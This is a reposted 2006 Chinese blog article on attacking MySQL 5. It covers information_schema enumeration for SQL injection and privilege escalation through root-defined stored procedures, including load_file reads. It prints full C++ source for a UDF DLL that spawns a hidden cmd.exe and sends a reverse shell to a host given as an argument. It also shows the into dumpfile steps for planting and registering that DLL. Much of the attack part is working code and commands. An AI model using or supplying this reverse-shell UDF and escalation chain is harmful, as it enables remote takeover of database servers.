hack mysql_Hackfing in Mysql5

Hackfing in Mysql5

版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明

http://superhei.blogbus.com/logs/1871649.html

Hackfing in Mysql5

Author:SuperHei_[At]_ph4nt0m.org

Blog:http://superhei.blogbus.com/

Team:http://www.ph4nt0m.org

Data: 2006-01-29

Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会 带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东 西呢?下面我给大家介绍下mysql5在安全方面的特点:

一、password authentication

mysql5 的password()和mysql4.1一样,采用的基于SHA1的41位hash:

mysql> select password(‘mypass’);

+——————————————-+

| password(‘mypass’)                        |

+——————————————-+

| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |

+——————————————-+

1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5:

mysql> SELECT PASSWORD(‘mypass’);

+——————–+

| PASSWORD(‘mypass’) |

+——————–+

| 6f8c114b58f2ce9e   |

+——————–+

当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():

mysql> select old_password(‘mypass’);

+————————+

| old_password(‘mypass’) |

+————————+

| 6f8c114b58f2ce9e       |

+————————+

1 row in set (0.09 sec)

二、数据字典(information_schema)

和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema

mysql> use information_schema;

Database changed

mysql> show tables;

+—————————————+

| Tables_in_information_schema          |

+—————————————+

| CHARACTER_SETS                        |

| COLLATIONS                            |

| COLLATION_CHARACTER_SET_APPLICABILITY |

| COLUMNS                               |

| COLUMN_PRIVILEGES                     |

| KEY_COLUMN_USAGE                      |

| ROUTINES                              |

| SCHEMATA                              |

| SCHEMA_PRIVILEGES                     |

| STATISTICS                            |

| TABLES                                |

| TABLE_CONSTRAINTS                     |

| TABLE_PRIVILEGES                      |

| TRIGGERS                              |

| VIEWS                                 |

| USER_PRIVILEGES                       |

+—————————————+

16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息,包括当前用户权限:

mysql> select * from information_schema.USER_PRIVILEGES;

+———–+—————+—————-+————–+

| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |

+———–+—————+—————-+————–+

| ‘KK1′@’%’ | NULL          | USAGE          | NO           |

+———–+—————+—————-+————–+

1 row in set (0.02 sec)

当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS

TICS;

+————–+————+————-+

| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |

+————–+————+————-+

| in           | article    | articleid   |

| in           | user       | userid      |

+————–+————+————-+

2 rows in set (0.02 sec)

还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。

[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等]

三、存储过程(Stored Procedures)

‘存储过程’的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。

D:\mysql5\bin>mysql -uroot -p

Enter password: ******

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 4 to server version: 5.0.18

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> use in

Database changed

mysql> delimiter //

mysql> CREATE PROCEDURE test(id INT)

-> BEGIN

->   SELECT * FROM in.USER WHERE USERID=ID;

-> END//

Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);

+——–+———-+———-+

| userid | username | password |

+——–+———-+———-+

|      1 | angel    | mypass   |

+——–+———-+———-+

1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创建了一个名为test的存储过程。

a、SQL Injection

mysql> call test(1 and 1=1);

+——–+———-+———-+

| userid | username | password |

+——–+———-+———-+

|      1 | angel    | mypass   |

+——–+———-+———-+

1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);

Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨权限

存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限***:

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE

-> ON `IN`.*

-> TO ‘KK1′@’%’

-> IDENTIFIED BY ‘OBSCURE’;

Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆:

D:\mysql5\bin>mysql -uKK1 -p

Enter password: ******

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 5 to server version: 5.0.18

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform

ation_schema.ROUTINES;

+—————-+————–+—————-+——————–+

| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |

+—————-+————–+—————-+——————–+

| in             | test         | root@localhost |                    |

| in             | tt           | root@localhost |                    |

+—————-+————–+—————-+——————–+

2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到 ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限:

mysql> call in.test(1 and length(load_file(‘c:/boot.ini’))>0);

+——–+———-+———-+

| userid | username | password |

+——–+———-+———-+

|      1 | angel    | mypass   |

+——–+———-+———-+

1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file(‘c:/boot.ini’))<0);

Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

没有file权限的 KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以 updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。

四、User-Defined Function

[ps:下面都是基于win系统]

mysql5的udf在格式和安全方面做一些新的改变:

1、格式要求更加严格[xxx_init()初始化函数]

对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can’t find function ‘xxx_init’ in library的错误,如:

mysql> create function ExitProcess returns integer soname ‘kernel32′;

ERROR 1127 (HY000): Can’t find function ‘ExitProcess_init’ in library

下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在 mysql5下使用:

/*******************************

* File:   MySQL_Shell.cpp

* Author: 云舒(wustyunshu at hotmail dot com)

* Date:    2005-12-12

********************************

#include

#include

#include

#define MAKE_DLL                /* Build dll here */

#include “MySQL_Shell.h”

#pragma comment( lib, “ws2_32″ )

#define BUFFER_SIZE    1024

// 函数原型

/

BOOL StartWith( char *, char * );

void LogMsg( char * );

//

//MySQL 模块初始化函数

LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )

{

if ( args->arg_count != 2 )

{

strcpy( message, “Shell() requires two arguments” );

return 1;

}

if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )

{

strcpy( message, “Shell() requires two string arguent” );

return 1;

}

return 0;

}

//MySQL模块主功能函数,反向连接提供shell

/

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )

{

SOCKET            sock;

SOCKADDR_IN        sin;

int                ret;

// Create socket

sock = socket( AF_INET, SOCK_STREAM, 0 );

if ( sock == INVALID_SOCKET )

{

strcpy( error, “Create socket error” );

return -1;

}

sin.sin_family = AF_INET;

sin.sin_port = htons( atoi(args->args[1]) );

sin.sin_addr.s_addr = inet_addr( args->args[0] );

//connect to remote server

ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );

if( ret == SOCKET_ERROR )

{

strcpy( error, “Connect error” );

return -1;

}

SECURITY_ATTRIBUTES    sa;

sa.nLength = sizeof( sa );

sa.lpSecurityDescriptor = 0;

sa.bInheritHandle = TRUE;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );

ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );

STARTUPINFO    si;

ZeroMemory( &si, sizeof(si) );

GetStartupInfo( &si );

si.cb = sizeof( si );

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;

PROCESS_INFORMATION    processInfo;

char    cmdLine[] = “cmd.exe”;

ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );

ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);

char            buff[BUFFER_SIZE] = { 0 };

unsigned long    bytesRead = 0;

int             i = 0;

while( TRUE )

{

memset( buff, 0, BUFFER_SIZE );

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );

for(i = 0; i < 5 && bytesRead == 0; i++)

{

Sleep(100);

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );

}

if( bytesRead )

{

ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );

if( !ret ) break;

ret = send( sock, buff, bytesRead, 0 );

if( ret <= 0 ) break;

}

else

{

bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );

if( bytesRead <= 0 ) break;

if( StartWith( buff , “exit” ) == TRUE ) break;

ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );

if( !ret ) break;

}

}

TerminateProcess( processInfo.hProcess, 0 );

CloseHandle( hReadPipe1 );

CloseHandle( hReadPipe2 );

CloseHandle( hWritePipe1 );

CloseHandle( hWritePipe2 );

closesocket( sock );

return 0;

}

///

// 判断字符串是否以另一个字符串开头

BOOL StartWith( char *buf1, char *buf2 )

{

int len = strlen(buf2);

if( memcmp( buf1,buf2,len ) == 0 )

{

return TRUE;

}

return FALSE;

}

/

// 记录日志信息,调试用

///

void LogMsg( char *msg )

{

FILE    *fp;

fp = fopen( “C:\mysql.txt”, “a+” );

fputs( msg, fp );

fclose( fp );

}

/********************************

* File:   MySQL_Shell.h

* Author: 云舒(wustyunshu at hotmail dot com)

* Date:    2005-12-12

*********************************

#ifdef MAKE_DLL

#define LIB extern “C” __declspec(dllexport)

#else

#define LIB extern “C” __declspec(dllimport)

#endif

#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */

typedef char my_bool;

enum Item_result

{

STRING_RESULT,REAL_RESULT,INT_RESULT

};

typedef struct st_udf_args

{

unsigned int        arg_count;           /* Number of arguments */

enum Item_result    *arg_type;           /* Pointer to item_results */

char                **args;                 /* Pointer to argument */

unsigned long        *lengths;            /* Length of string arguments */

char                *maybe_null;         /* Set to 1 for all maybe_null args */

} UDF_ARGS;

typedef struct st_udf_init

{

my_bool                maybe_null;          /* 1 if function can return NULL */

unsigned int        decimals;            /* for real functions */

unsigned int        max_length;          /* For string functions */

char                *ptr;                /* free pointer for function data */

char                const_item;          /* 0 if result is independent of arguments */

} UDF_INIT;

LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );

2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。

对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下:

mysql> use mysql;

Database changed

mysql> create table heige(line blob);

Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file(‘c:/udf.dll’));

Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile ‘c:/winnt/system32/heige.dll’;

Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname ‘heige.dll’;

Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;

+——-+—–+———–+———-+

| name  | ret | dl        | type     |

+——-+—–+———–+———-+

| shell |   2 | heige.dll | function |

+——-+—–+———–+———-+

1 row in set (0.00 sec)

mysql> select shell(’127.0.0.1′,’1234′);

+—————————+

| shell(’127.0.0.1′,’1234′) |

+—————————+

|                      NULL |

+—————————+

1 row in set (0.97 sec)

五、参考

《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/

《Hackproofing MySQL》         http://www.ngssoftware.com/papers/HackproofingMySQL.pdf

《给 mysql加个自定义函数(windows平台)》http://www.icylife.net/yunshu/show.php?id=244

六、感谢

感谢云舒、TomyChen、Mix …所有pst的兄弟们。

谢谢阅读!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值